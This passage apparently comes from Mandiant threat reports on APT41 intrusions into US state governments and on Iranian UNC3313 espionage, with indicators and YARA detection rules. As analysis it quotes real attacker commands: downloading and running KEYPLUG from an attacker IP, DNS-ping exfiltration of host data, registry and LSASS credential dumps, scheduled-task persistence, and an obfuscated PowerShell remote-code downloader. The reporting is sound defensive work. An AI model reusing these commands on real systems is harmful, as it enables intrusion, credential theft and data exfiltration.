+network protocols for command and control (C2) traffic including HTTP, TCP, KCP over UDP, and WSS. APT41 heavily used the Windows
+version of the KEYPLUG backdoor at state government victims between June 2021 and December 2021, thus the deployment of a ported
+version of the backdoor closely following the state government campaign was significant.
+After exploiting Log4Shell, APT41 continued to use deserialization payloads to issue ping commands to domains, a technique APT41 frequently
+used at government victims months prior. An example ping command is shown in Figure 5.
+ping -c 1 libxqagv[.]ns[.]dns3[.]cf
+Figure 5: Ping Command to Attacker Controlled Infrastructure
+Upon gaining access to a target environment, APT41 performed host and network reconnaissance before deploying KEYPLUG.LINUX to
+establish a foothold in the environment. Sample commands used to deploy KEYPLUG.LINUX can be seen in Figure 6.
+wget http://103.224.80[.]44:8080/kernel
+chmod 777 kernel
+mv kernel .kernel
+nohup ./.kernel &
+Figure 6: Deployment of KEYPLUG.LINUX Following Log4j Exploitation
+All Killer No Filler
+ Intrusion TTPs
+The updated tradecraft and new malware continue to show APT41 is a highly adaptable and resourceful actor. In this section, we detail the
+most pertinent post-compromise techniques.
+Reconnaissance
+After gaining initial access to an internet-facing server, APT41 performed extensive reconnaissance and credential harvesting. A common tactic
+seen is the deployment of a ConfuserEx obfuscated BADPOTATO binary to abuse named pipe impersonation for local NT
+AUTHORITY\SYSTEM privilege escalation. Once APT41 escalated to NT AUTHORITY\SYSTEM privileges, they copied the local SAM and
+SYSTEM registry hives to a staging directory for credential harvesting and exfiltration. APT41 has additionally used Mimikatz to execute the
+lsadump::sam command on the dumped registry hives to obtain locally stored credentials and NTLM hashes.
+APT41 also conducted Active Directory reconnaissance by uploading the Windows command-line tool dsquery.exe (MD5:
+49f1daea8a115dd6fce51a1328d863cf) and its associated module dsquery.dll (MD5: b108b28138b93ec4822e165b82e41c7a) to a staging
+directory on the compromised server. Figure 7 shows multiple dsquery commands used to enumerate various Active Directory objects within
+the environment.
+c:\programdata\dsquery.exe * -filter "(objectCategory=Person)" -attr cn title displayName description department
+company sAMAccountName mail mobile telephoneNumber whenCreated whenChanged logonCount badPwdCount distinguishedName
+-L -limit 0
+c:\programdata\dsquery.exe * -filter "(objectCategory=Computer)" -attr cn operatingSystem
+operatingSystemServicePack operatingSystemVersion dNSHostName whenCreated whenChanged lastLogonTimestamp
+distinguishedName description managedBy mS-DS-CreatorSID -limit 0
+c:\programdata\dsquery.exe * -filter "(objectCategory=Computer)" -attr cnservicePrincipalName -L -limit 0
+c:\programdata\dsquery.exe * -filter "(objectCategory=Group)" -uc -attr cn sAMAccountName distinguishedName
+description -limit 0
+c:\programdata\dsquery.exe * -filter "(objectClass=organizationalUnit)" -attr ou name whenCreated
+distinguishedName gPLink -limit 0
+Figure 7: dsquery Active Directory Reconnaissance Commands
+During the early stage of one U.S. state government intrusion, Mandiant identified a new malware family used by APT41 we track as
+DUSTPAN. DUSTPAN is an in-memory dropper written in C++ that leverages ChaCha20 to decrypt embedded payloads. Different variations
+of DUSTPAN may also load and execute a payload from a hard-coded filepath encrypted in the binary. DUSTPAN is consistent with the
+publicly named StealthVector, reported by Trend Micro in August 2021. During the intrusion, DUSTPAN was used to drop a Cobalt Strike
+BEACON backdoor.
+Anti-Analysis
+APT41 continues to leverage advanced malware in their existing toolkit, such as the DEADEYE launcher and LOWKEY backdoor, with added
+capabilities and anti-analysis techniques to hinder investigations. During a recent intrusion Mandiant identified a new malware variant,
+DEADEYE.EMBED, contained in an Alternate Data Stream of a local file. DEADEYE.EMBED variants embed the payload inside of the
+compiled binary rather than appended to the overlay at the end of the file, as seen in DEADEYE.APPEND.
+APT41 commonly packages their malware with VMProtect to slow reverse engineering efforts. During multiple U.S. state government
+intrusions, APT41 incorporated another anti-analysis technique by chunking a VMProtect packaged DEADEYE binary into multiple sections on
+disk. Breaking the binary into multiple files reduces the chance that all samples can be successfully acquired during a forensic investigation.
+Common file naming conventions used by APT41 when deploying DEADEYE on victim hosts can be seen in Figure 8.
+Figure 8: DEADEYE Filenames
+These files would then be combined into a single DLL before execution as seen in Figure 9.
+"cmd" /c copy /y /b C:\Users\public\syslog_6-*.dat C:\Users\public\syslog.dll
+Figure 9: DEADEYE Command to concatenate DEADEYE sections
+In addition to separating their VMProtect packaged malware on disk, APT41 changed the standard VMProtect section names (.vmp) to UPX
+section names (.upx). By doing so, the malware could evade basic hunting detections that flag binaries packaged with VMProtect. During Log4j
+exploitation, APT41 similarly chunked a KEYPLUG.LINUX binary into four separate files named 
+ xab
+ xac
+, and 
+. APT41 also
+packaged the KEYPLUG.LINUX binary with VMProtect and used UPX section names. This technique is very low in prevalence across our
+malware repository, and even lower in prevalence when searching across ELF files.
+APT41 also updated the DEADEYE execution guardrail capabilities used during the campaign. Guardrailing is a technique used by malware to
+ensure that the binary only executes on systems that the threat actor intended. DEADEYE samples from older campaigns used the victim
+computer
+s volume serial number but they have since been updated to use the hostname and/or DNS domain during the U.S. state government
+campaign. To acquire the local computer
+s hostname and DNS domain, DEADEYE executes the WinAPI functions GetComputerNameA and/or
+GetComputerNameExA and provides it as input for a generated decryption key.
+Persistence
+APT41 continues to leverage advanced tradecraft to remain persistent and undetected. In multiple instances, the Windows version of the
+KEYPLUG backdoor leveraged dead drop resolvers on two separate tech community forums. The malware fetches its true C2 address from
+encoded data on a specific forum post. Notably, APT41 continues to update the community forum posts frequently with new dead drop
+resolvers during the campaign. APT41 has historically used this unique tradecraft during other intrusions to help keep their C2 infrastructure
+hidden.
+To persist execution of DEADEYE, APT41 has leveraged the schtasks /change command to modify existing scheduled tasks that run under the
+context of SYSTEM. APT41 commonly uses the living off the land binary (lolbin) shell32.dll!ShellExec_RunDLLA in scheduled tasks for binary
+execution, such as the example shown in Figure 10.
+SCHTASKS /Change /tn "\Microsoft\Windows\PLA\Server Manager Performance Monitor" /TR
+"C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:\windows\system32\msiexec.exe /Z
+c:\programdata\S-1-5-18.dat" /RL HIGHEST /RU "" /ENABLE
+Figure 10: Modified Scheduled Task
+APT41 has leveraged the following Windows scheduled tasks for persistence of DEADEYE droppers in U.S. state government intrusions:
+\Microsoft\Windows\PLA\Server Manager Performance Monitor
+\Microsoft\Windows\Ras\ManagerMobility
+\Microsoft\Windows\WDI\SrvSetupResults
+\Microsoft\Windows\WDI\USOShared
+Another technique APT41 used to launch malware is through the addition of a malicious import to the Import Address Table (IAT) of legitimate
+Windows PE binaries. As a result, once the legitimate binary is executed, it will load the malicious library and call its DllEntryPoint. A modified
+IAT of a legitimate Microsoft HealthService.exe binary can be seen in Figure 11.
+Figure 11: Modified IAT (CFF Explorer)
+APT41 continues to tailor their malware to victim environments through their stealthy passive backdoor LOWKEY.PASSIVE. During one
+intrusion, APT41 exploited a USAHerds server and subsequently executed DEADEYE.APPEND which dropped LOWKEY.PASSIVE in-memory.
+The identified LOWKEY.PASSIVE sample listened for incoming connections that request either of the following URL endpoints:
+http://<HOST:PORT>/USAHerds/Common/%s.css
+https://<HOST:PORT>/USAHerds/Common/%s.css
+APT41 frequently configured LOWKEY.PASSIVE URL endpoints to masquerade as normal web application traffic on an infected server.
+s Always Cloudy in Chengdu
+ Cloudflare Usage
+APT41 has substantially increased their usage of Cloudflare services for C2 communications and data exfiltration. Specifically, APT41 leveraged
+Cloudflare Workers to deploy serverless code accessible through the Cloudflare CDN which helps proxy C2 traffic to APT41 operated
+infrastructure.
+At multiple victims, APT41 issued ping commands where the output of a reconnaissance command was prepended to subdomains of Cloudflare
+proxied infrastructure. Once the ping command was executed, the local DNS resolver attempted to resolve the fabricated domain containing
+the prepended command output. The forward DNS lookup eventually reached the primary domain's Cloudflare name servers, which were
+unable to resolve an IP address for the fabricated domain. However, the DNS activity logs of the attacker-controlled domain recorded the DNS
+lookup of the subdomain, allowing the group to collect the reconnaissance command output.
+Examples of this technique can be seen in Figure 12 to Figure 15.
+$a=whoami;ping ([System.BitConverter]::ToString([System.Text.Encoding]::UTF8.GetBytes($a)).replace('-','')+""
+[.]ns[.]time12[.]cf"")
+Figure 12: Reconnaissance Exfiltration
+cmd.exe /c ping %userdomain%[.]ns[.]time12[.]cf
+Figure 13: Reconnaissance Exfiltration
+In Figure 14, APT41 issued a command to find the volume serial number of the system, which has historically been used as the decryption key
+for DEADEYE payloads.
+ping -n 1 ((cmd /c dir c:\|findstr Number).split()[-1]+'.ns[.]time12[.]cf
+Figure 14: Volume Serial Number Exfiltration
+In this last example, the command prints the length of the file syslog_6-1.dat, likely to ensure it has been fully written to disk prior to
+combining the multiple files into the full malicious executable.
+ping -n 1 ((ls C:\Users\public\syslog_6-1.dat).Length.ToString()+"".ns[.]time12[.]cf"")
+Figure 15: File Size Exfiltration
+APT41 leveraged the aforementioned technique for further data exfiltration by hex encoding PII data and prepending the results as
+subdomains of the attacker-controlled domain. The resulting DNS lookups triggered by the ping commands would be recorded in the activity
+logs and available to APT41.
+APT41
+s continued usage of Cloudflare services is further exemplified in recently developed KEYPLUG samples. Mandiant identified a unique
+capability added to KEYPLUG that leverages the WebSocket over TLS (WSS) protocol for C2 communication. According to Cloudflare,
+WebSocket traffic can be established through the Cloudflare CDN edge servers, which will proxy data through to the specified origin server.
+KEYPLUG includes a hardcoded one-byte XOR encoded configuration file that lists the specific communication protocol, servers, and
+additional settings. After KEYPLUG decodes the hardcoded configuration file at runtime, it will parse the configuration to determine the
+appropriate network protocol and servers to use for command and control. After the configuration is parsed, KEYPLUG randomly chooses a
+CIDR block from the list then randomly chooses an IP address within the CIDR block based on the current tick count of the infected computer.
+Figure 16 details an example configuration file identified during a recent U.S. state government intrusion.
+WSS://104.24.0.0/14;103.22.200.0/22;103.21.244.0/22:443|7600|5|1|afdentry.workstation.eu.org:443
+Figure 16: KEYPLUG Configuration
+The CIDR blocks listed in Figure 16 are Cloudflare CDN associated infrastructure that will redirect the WSS connection to the malicious
+domain afdentry[.]workstation[.]eu[.]org.
+Figure 17 is an example HTTP request sent by KEYPLUG to initiate and upgrade to the WSS protocol using Cloudflare infrastructure.
+Figure 17: KEYPLUG HTTP Upgrade Request
+We notified Cloudflare of this malicious activity and they took prompt action to disrupt communications to the malicious infrastructure.
+APT41
+s increased usage of Cloudflare services indicates a desire to leverage Cloudflare
+s flexibility and deter identification and blocking of
+their true C2 servers.
+Outlook
+APT41's recent activity against U.S. state governments consists of significant new capabilities, from new attack vectors to post-compromise
+tools and techniques. APT41 can quickly adapt their initial access techniques by re-compromising an environment through a different vector,
+or by rapidly operationalizing a fresh vulnerability. The group also demonstrates a willingness to retool and deploy capabilities through new
+attack vectors as opposed to holding onto them for future use. APT41 exploiting Log4J in close proximity to the USAHerds campaign showed
+the group
+s flexibility to continue targeting U.S state governments through both cultivated and co-opted attack vectors. Through all the new,
+some things remain unchanged: APT41 continues to be undeterred by the U.S. Department of Justice (DOJ) indictment in September 2020.
+Indicators
+Malware Family
+SHA1
+SHA256
+KEYPLUG.LINUX
+900ca3ee85dfc109baeed4888ccb5d39
+355b3ff61db44d18003537be8496eb03536e300f
+e024ccc4c72eb5813cc2b6db7
+KEYPLUG.LINUX
+b82456963d04f44e83442b6393face47
+996aa691bbc1250b571a2f5423a5d5e2da8317e6
+d7e8cc6c19ceebf0e125c9f18b
+DSQUERY
+49f1daea8a115dd6fce51a1328d863cf
+e85427af661fe5e853c8c9398dc46ddde50e2241
+ebf28e56ae5873102b51da2cc
+DSQUERY
+b108b28138b93ec4822e165b82e41c7a
+7056b044f97e3e349e3e0183311bb44b0bc3464f
+062a7399100454c7a523a9382
+BADPOTATO
+143278845a3f5276a1dd5860e7488313
+6f6b51e6c88e5252a2a117ca1cfb57934930166b
+a4647fcb35c79f26354c34452e
+Context
+Indicator(s)
+U.S. State Government Campaign 
+ USAHerds (CVE-2021-44207) Exploitation
+194[.]195[.]125[.]121
+194[.]156[.]98[.]12
+54[.]248[.]110[.]45
+45[.]153[.]231[.]31
+185[.]118[.]167[.]40
+104[.]18[.]6[.]251
+104[.]18[.]7[.]251
+20[.]121[.]42[.]11
+34[.]139[.]13[.]46
+54[.]80[.]67[.]241
+149[.]28[.]15[.]152
+18[.]118[.]56[.]237
+107[.]172[.]210[.]69
+172[.]104[.]206[.]48
+67[.]205[.]132[.]162
+45[.]84[.]1[.]181
+cdn[.]ns[.]time12[.]cf
+east[.]winsproxy[.]com
+afdentry[.]workstation[.]eu[.]org
+ns1[.]entrydns[.]eu[.]org
+subnet[.]milli-seconds[.]com
+work[.]viewdns[.]ml
+work[.]queryip[.]cf
+Log4j (CVE-2021-44228) Exploitation
+103[.]238[.]225[.]37
+182[.]239[.]92[.]31
+microsoftfile[.]com
+down-flash[.]com
+libxqagv[.]ns[.]dns3[.]cf
+Detections
+rule M_APT_Backdoor_KEYPLUG_MultiXOR_Config
+meta:
+author = "Mandiant"
+description = "Matches KEYPLUG XOR-encoded configurations. Locates multiple values of: TCP://, UDP://,
+WSS://, +http and their pipe-deliminated variant: |TCP://, |UDP://, |WSS://, |+http. Requires at least one instance
+of 00| in the encoded configuration which corresponds to the sleep value. Removed instances where double-NULLs were
+present in the generated strings to reduce false positives."
+strings:
+// TCP
+$tcp1
+= "TCP://"
+xor(0x01-0x2E)
+$tcp2
+= "TCP://"
+xor(0x30-0xFF)
+$ptcp1
+= "|TCP://" xor(0x01-0x2E)
+$ptcp2
+= "|TCP://" xor(0x30-0xFF)
+// UDP
+$udp1
+= "UDP://"
+xor(0x01-0x2E)
+$udp2
+= "UDP://"
+xor(0x30-0xFF)
+$pudp1
+= "|UDP://" xor(0x01-0x2E)
+$pudp2
+= "|UDP://" xor(0x30-0xFF)
+// WSS
+$wss1
+= "WSS://"
+xor(0x01-0x2E)
+$wss2
+= "WSS://"
+xor(0x30-0x52)
+$wss3
+= "WSS://"
+xor(0x54-0xFF)
+$pwss1
+= "|WSS://" xor(0x01-0x2E)
+$pwss2
+= "|WSS://" xor(0x30-0x52)
+$pwss3
+= "|WSS://" xor(0x54-0xFF)
+// HTTP
+$http1
+= "+http"
+xor(0x01-0x73)
+$http2
+= "+http"
+xor(0x75-0xFF)
+$phttp1 = "|+http"
+xor(0x01-0x73)
+$phttp2 = "|+http"
+xor(0x75-0xFF)
+// Sleep value
+$zeros1 = "00|"
+xor(0x01-0x2F)
+$zeros2 = "00|"
+xor(0x31-0xFF)
+condition:
+filesize < 10MB and
+(uint32(0) == 0x464c457f or (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550)) and
+for any of ($tcp*,$udp*,$wss*,$http*): (# == 2 and @[2] - @[1] < 200) and
+for any of ($ptcp*,$pudp*,$pwss*,$phttp*): (# == 1) and
+any of ($zeros*)
+rule M_Hunting_MSIL_BADPOTATO
+meta:
+author = "Mandiant"
+description = "Hunting for BADPOTATO samples based on default strings found on the PE VERSIONINFO
+resource."
+strings:
+$dotnetdll = "\x00_CorDllMain\x00"
+$dotnetexe = "\x00_CorExeMain\x00"
+$s1 = { 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00
+00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 }
+$s2 = { 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 42 00 61 00 64 00 50
+00 6F 00 74 00 61 00 74 00 6F 00 2E 00 65 00 78 00 65 00 }
+$s3 = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00
+00 42 00 61 00 64 00 50 00 6F 00 74 00 61 00 74 00 6F 00 2E 00 65 00 78 00 65 00 }
+$s4 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 42 00 61 00 64 00 50
+00 6F 00 74 00 61 00 74 00 6F 00 }
+condition:
+(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and 1 of ($dotnet*) and 1 of ($s*)
+Acknowledgements
+We would like to thank our incident response consultants, Managed Defense responders, and FLARE reverse engineers who enable this
+research. In addition, we would like to thank Alyssa Rahman, Dan Perez, Ervin Ocampo, Blaine Stancill, and Nick Richard for their technical
+reviews.
+Left On Read: Telegram Malware Spotted in Latest Iranian Cyber
+Espionage Activity
+mandiant.com/resources/telegram-malware-iranian-espionage
+In November 2021, Mandiant Managed Defense detected and responded to an UNC3313 intrusion at a
+Middle East government customer. During the investigation, Mandiant identified new targeted malware,
+GRAMDOOR and STARWHALE, which implement simple backdoor functionalities. We also identified
+UNC3313 use publicly available remote access software to maintain access to the environment. UNC3313
+initially gained access to this organization through a targeted phishing email and leveraged modified, opensource offensive security tools to identify accessible systems and move laterally. UNC3313 moved rapidly to
+establish remote access by using ScreenConnect to infiltrate systems within an hour of initial compromise.
+Through the rapid coordination of Mandiant Managed Defense and our customer
+s security team, the
+incident was quickly contained and remediated.
+Mandiant assesses with moderate confidence that UNC3313 conducts surveillance and collects strategic
+information to support Iranian interests and decision-making. Targeting patterns and related lures
+demonstrate a strong focus on targets with a geopolitical nexus.
+This blog post covers the details of an intrusion conducted by UNC3313, along with malware and publicly
+available tools that were identified during our investigation.
+Attribution
+Mandiant uses the label 
+ groups
+uncategorized
+ groups
+to refer to a cluster of intrusion activity
+that includes observable artifacts such as adversary infrastructure, tools, and tradecraft that we are not yet
+ready to give a classification such as TEMP, APT, or FIN (learn more about how Mandiant tracks
+uncategorized threat actors). Mandiant assesses with moderate confidence that UNC3313 is associated with
+TEMP.Zagros (reported in open sources as MuddyWater), an Iran-nexus threat actor active since at least
+May 2017, based on currently available information. TEMP.Zagros has consistently updated their toolkit over
+the years, using malware such as POWERSTATS, POWGOOP, and MORIAGENT in spear-phishing
+operations. The group
+s use of ScreenConnect for initial compromise is well documented in open sources.
+Notably, on January 12, 2022, the U.S. government publicly stated it considers TEMP.Zagros as subordinate
+to the Iranian Ministry of Intelligence and Security (MOIS) and disclosed samples of malware families
+(POWGOOP and MORIAGENT) in use by the group since at least 2020.
+Targeting
+In the second half of 2021, Mandiant identified an UNC3313 campaign using GRAMDOOR and
+STARWHALE to target Middle Eastern government and technology entities. TEMP.Zagros has historically
+targeted these regions and sectors throughout the Middle East and Central and South Asia, including
+government, defense, telecommunications, energy, and finance. Targeting patterns and related lures
+demonstrate a strong focus on targets with a geopolitical nexus and the telecommunications sector in the
+Middle East.
+Malware Observed
+Mandiant observed UNC3313 deploy the following malware families.
+1/19
+Malware Family
+Description
+GRAMDOOR
+GRAMDOOR is a backdoor written in Python that uses the Telegram Bot API to
+communicate over HTTP with the Telegram server. Supported commands include
+command execution via cmd.exe.
+STARWHALE
+STARWHALE is a Windows Script File (WSF) backdoor that communicates via
+HTTP. Supported commands include shell command execution and system
+information collection.
+STARWHALE.GO
+STARWHALE.GO is a backdoor written in GO programming language that
+communicates via HTTP. The backdoor can execute shell commands and collect
+system information, such as local IP address, computer name, and username.
+CRACKMAPEXEC
+CRACKMAPEXEC is a post-exploitation tool that helps automate assessing the
+security of large Active Directory networks.
+Table 1: UNC3313 Malware Families
+Outlook and Implications
+The use of the Telegram API for command and control allows for malicious traffic to blend in with legitimate
+user behavior. Combined with the use of legitimate remote access software, publicly available tools such as
+LIGOLO and CrackMapExec, and the multi-layer encoding routine, Mandiant believes this reflects
+TEMP.Zagros' efforts to evade detection and security features. Meanwhile, it is unclear how the U.S.
+government's recent public attribution of "MuddyWater" to the Iranian Ministry of Intelligence and Security
+will affect the group's operations. It is plausible the group may re-tool and shift their tactics, techniques, and
+procedures prior to conducting additional operations.
+UNC3313 Attack Lifecycle
+Establish Foothold
+UNC3313 initially gained access to the customer
+s environment through a spear-phishing attack that
+compromised multiple systems. Phishing emails were crafted with a job promotion lure and tricked multiple
+victims to click a URL to download a RAR archive file hosted at the cloud storage service OneHub. This
+pattern is consistent with observations in open-source reporting by Anomali and Trend Micro.
+The RAR archives contained a Windows Installer .msi file that installed ScreenConnect remote access
+software to establish a foothold. Figure 1 shows a Windows Installer transaction event recorded in the
+Windows Application logs for the execution of performance.msi.
+2/19
+Log: Application
+Source: MsiInstaller
+EID: 1040
+Message: Beginning a Windows Installer transaction: C:\Users\
+<redacted>\AppData\Local\Temp\Rar$EXb7468.17680\performance.msi-++-748-++-(NULL)-++-(NULL)++-(NULL)-++-(NULL)-++--++-. Client Process Id: 0.
+Figure 1: Windows Installer transaction event for performance.msi
+As mentioned, UNC3313 moved rapidly to establish remote access through ScreenConnect to infiltrate
+systems within an hour of initial compromise. ScreenConnect provides the capability to issue single CLI
+commands to the client or to open a full terminal using Backstage Mode. Mandiant observed command
+execution using cmd.exe and powershell.exe by the parent process ScreenConnect.ClientService.exe.
+Log: Application
+Source: ScreenConnect Client (f494f7a48b0cd497)
+EID: 0
+Message: Cloud Account Administrator Connected-++Log: Application
+Source: ScreenConnect Client (f494f7a48b0cd497)
+EID: 0
+Message: Cloud Account Administrator Disconnected-++Log: Application
+Source: ScreenConnect Client (f494f7a48b0cd497)
+EID: 0
+Message: Executed command of length: 13-++Figure 2: ScreenConnect client connection and command
+execution event logs
+When actively running, the ScreenConnect.ClientService.exe process performed DNS lookups for a
+ScreenConnect relay service at instance-<6 character alphanumeric id>-relay.screenconnect.com. Mandiant
+observed the process ScreenConnect.WindowsClient.exe write additional attacker tools to the initially
+compromised hosts, indicating the files were copied through the active ScreenConnect session.
+3/19
+File Write Event
+Full Path: C:\ProgramData\ligo64.exe
+Size: 3474432
+MD5: 7fefce7f2e4088ce396fd146a7951871
+Process: ScreenConnect.WindowsClient.exe
+Process Path: C:\Program Files (x86)\ScreenConnect Client (f494f7a48b0cd497)
+Parent Process Path: C:\Program Files (x86)\ScreenConnect Client
+(f494f7a48b0cd497)\ScreenConnect.ClientService.exe
+Figure 3: File write event by the ScreenConnect Windows Client process
+Escalate Privileges
+Mandiant observed UNC3313 use common credential-dumping techniques using legitimate Windows
+utilities. UNC3313 leveraged the open-source WMIEXEC.PY attack framework to execute reg commands to
+export copies of the local SAM, SYSTEM, and SECURITY Windows registry hives. WMIEXEC.PY enables
+simple command invocation on a remote system (with admin rights and DCOM ports accessible on target
+system) via WMI (Windows Management Instrumentation).
+cmd.exe /Q /c reg save HKLM\SAM C:\users\public\sam 1> \\127.0.0.1\ADMIN$\__1637143994.2306612
+2>&1
+cmd.exe /Q /c reg save HKLM\SYSTEM C:\users\public\system 1>
+\\127.0.0.1\ADMIN$\__1637143994.2306612 2>&1
+cmd.exe /Q /c reg save HKLM\SECURITY C:\users\public\security 1>
+\\127.0.0.1\ADMIN$\__1637143994.2306612 2>&1
+Figure 4: Suspicious Registry exports executed by WMIEXEC.PY
+UNC3313 used the Task Manager application to dump the process memory of lsass.exe, as shown in Figure 5
+when the process Taskmgr.exe wrote the file lsass.dmp.
+File Write Event
+Full Path: C:\Users\<redacted>\AppData\Local\Temp\2\lsass.DMP
+Size: 59378917
+Process: Taskmgr.exe
+Process Path: C:\Windows\System32
+Parent Process Path: C:\Windows\explorer.exe
+Figure 5: Task Manager Dump of LSASS.EXE
+Internal Reconnaissance and Lateral Movement
+4/19
+Mandiant observed UNC3313 leverage publicly available offensive security tools to accomplish remote
+command execution, internal reconnaissance, network tunneling, and lateral movement. UNC3313 used a
+slightly modified version of the open-source pen-testing tool CrackMapExec v3.0 (CRACKMAPEXEC)
+compiled with Pyinstaller to perform system enumeration and user account reconnaissance and to execute
+remote commands on target systems. The modified version of CRACKMAPEXEC used by the attacker,
+named aa.exe, had the tool
+s description removed and included the database setup code from the utility
+setup_database.py to bypass extra installation steps (Figure 6).
+Figure 6: Modified CRACKMAPEXEC with inclusion of setup_database.py code
+UNC3313 performed initial reconnaissance and account access testing with CRACKMAPEXEC using the
+commands shown in Figure 7 and Figure 8. The credential and host information collected by
+CRACKMAPEXEC were stored in the local database file cme.db.
+aa.exe 10.20.11.1/24
+Figure 7: Initial execution of compiled CRACKMAPEXEC
+aa.exe 10.20.11.1/24 -u <local admin> -p <password> --local-auth
+Figure 8: Local Administrator access testing with CRACKMAPEXEC
+UNC3313 used CRACKMAPEXEC to run the Windows utility certutil and obfuscated PowerShell commands
+to download additional tools and payloads on remote systems.
+aa.exe 10.20.11.11 -u <local admin> -p <password> --local-auth -x "powershell -exec bypass
+"function decode($txt,$key){$enByte = [System.Convert]::FromBase64String($txt);for($i=0; $i
+-lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$dtxt =
+[System.Text.Encoding]::UTF8.GetString($enByte);return $dtxt;};IEX (decode
+'J3QjPiNYUHpwd2ZuLU1mdy1Ld3dzVGZhUWZydmZwd145OUBxZmJ3Ziska3d3czksLDc2LTI3M
+S0xMjEtNTI5OzMsZGZGcVNrdzVgWWgwZXJkMzNlS0xtaWA6SDJbW2FvQVskKjgndC1zcWx7ei
+M+I1hNZnctVGZhUWZydmZwd145OURmd1B6cHdmblRmYVNxbHt6Kyo4J0Z7ZmB2d2psbUBs
+bXdme3ctSm11bGhmQGxubmJtZy1KbXVsaGZQYHFqc3crK01mdC5MYWlmYHcjUHpwd2ZuLU
+pMLVB3cWZiblFmYmdmcSsndC1EZndRZnBzbG1wZisqLURmd1FmcHNsbXBmUHdxZmJuKyoqK
+i1RZmJnV2xGbWcrKio4' 3);"
+Figure 9: Execution of obfuscated PowerShell downloader
+The obfuscated PowerShell downloader used base64 encoding and simple XOR encryption that decoded to
+the general command syntax shown in Figure 10.
+5/19
+$w = [System.Net.HttpWebRequest]::Create('http[:]//
+45.142.212[.]61:80/geErPht6cZk3fqg00fHOnjc9K1XXblBX');
+$w.proxy = [Net.WebRequest]::GetSystemWebProxy();
+$ExecutionContext.InvokeCommand.InvokeScript((New-Object
+System.IO.StreamReader($w.GetResponse().GetResponseStream())).ReadToEnd());
+Figure 10: Deobfuscated PowerShell command
+UNC3313 used the multi-platform LIGOLO tunneler utility to establish tunneled access into our customer
+environment. LIGOLO is an open-source, encrypted reverse SOCKS5 or TCP tunneler written in GO. The
+LIGOLO utility was executed with the command-line argument 
+ to specify the relay server instead of the
+documented argument 
+-relayserver
+, which indicates modification of the original code downloaded from the
+GitHub repository.
+aa.exe 10.20.11.11 -u <local admin> -p <password> --local-auth -x "certutil.exe -urlcache -split -f
+http[:]//95.181.161[.]81:443/l.exe C:\programdata\l.exe"
+Figure 11: Remote execution of certutil to download LIGOLO tunneler via CRACKMAPEXEC
+c:\programdata\ligo64.exe -s3 95.181.161[.]81:5555
+Figure 12: Execution of LIGOLO tunneler utility with relay server
+Mandiant observed the hostname DESKTOP-5EN5P2I in Windows logon events on systems that were
+accessed by UNC3313 through an RDP connection tunneled using LIGOLO.
+Log: Security
+EID: 4624
+Network Information:
+Workstation Name:
+DESKTOP-5EN5P2I
+Source Network Address:
+Source Port:
+Log: Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational
+EID: 1149
+User: <local admin>
+Domain: DESKTOP-5EN5P2I
+Source Network Address: 10.20.11.14
+Figure 13: Windows logon events showing evidence of RDP session tunneling via
+LIGOLO
+Maintain Persistence
+6/19
+Mandiant identified a new malware family named STARWHALE that was used by UNC3313. STARWHALE
+is a Windows Script File backdoor that simply receives commands from a command and control (C2) server
+via HTTP and executes those commands via Windows cmd.exe. On the infected system, STARWHALE was
+observed being executed with a command-line argument as shown in Figure 14.
+cmd.exe /c cscript.exe c:\\windows\\system32\\w7_1.wsf humpback__whale
+Figure 14: STARWHALE execution
+Figure 15: STARWHALE Code Snippet
+The command line argument "humpback__whale " is used in the code to dynamically resolve functions at
+runtime using the VBScript function GetRef. Since STARWHALE does not contain any persistence
+mechanism, a service is created as shown in Figure 16.
+sc create Windowscarpstss binpath= "cmd.exe /c cscript.exe c:\\windows\\system32\\w7_1.wsf
+humpback__whale" start= "auto" obj= "LocalSystem"
+Figure 16: STARWHALE Persistence Method
+STARWHALE communicates with its C2 server, which is hardcoded in the malware. Upon first execution,
+the malware gathers basic user and system information, such as local IP address, computer name, and
+username. It then encodes this information using a custom encoding scheme before sending the information
+to the C2 IP address as shown in Figure 17.
+7/19
+POST /jznkmustntblvmdvgcwbvqb HTTP/1.1
+Connection: Keep-Alive
+Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
+Accept: */*
+Accept-Language: en-us
+User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
+CharSet: UTF-8
+Content-Length: 69
+Host: 5.199.133[.]149
+vl=27732737231435E335F4239537109C22531327535C22D1327235E46253E2215613
+Figure 17: STARWHALE Beacon
+The hex value passed via the POST request parameter 
+, as shown in Figure 17, can be decoded to the
+following system enumeration information, piped together and separated with a delimiter:
+<ip address>|delimiter|<hostname>\\<username
+The delimiter in the samples observed was 
+|!)!)!|
+. It then expects its C2 server to return a string value that
+is encoded using the same scheme. This string value is then included in all subsequent POST requests.
+If STARWHALE
+s initial request is successful, it begins sending the session key in a loop via HTTP
+POST requests to its C2 server at hxxp://5.199.133[.]149/oeajgyxyxclqmfqayv. The C2 server will then
+respond with a command meant to be executed via cmd.exe, as shown in Figure 18.
+cmd.exe /c <command> >> %temp%\stari.txt.
+Figure 18: STARWHALE command execution process
+The output of the command is written to a file called 
+stari.txt.
+ It then encodes the output using the custom
+scheme and sends it back to the C2 server in its next POST request. The structure is similar to what is shown
+in Figure 19.
+<c2_session_key>|!)!)!|<command_output>
+Figure 19: STARWHALE information sent to C2
+If the command fails, it sends the encoded string "SoRRy" to its C2. Notably, in earlier iterations of
+STARWHALE, Mandiant also observed it using the string "sory" [sic]. The threat actor corrected the spelling
+error after security researchers highlighted the string in a public forum. Mandiant has observed similar
+spelling errors in other campaigns by Iranian threat actors.
+During the intrusion, Mandiant also observed the actors deploying a malware that shares a lot of similarities
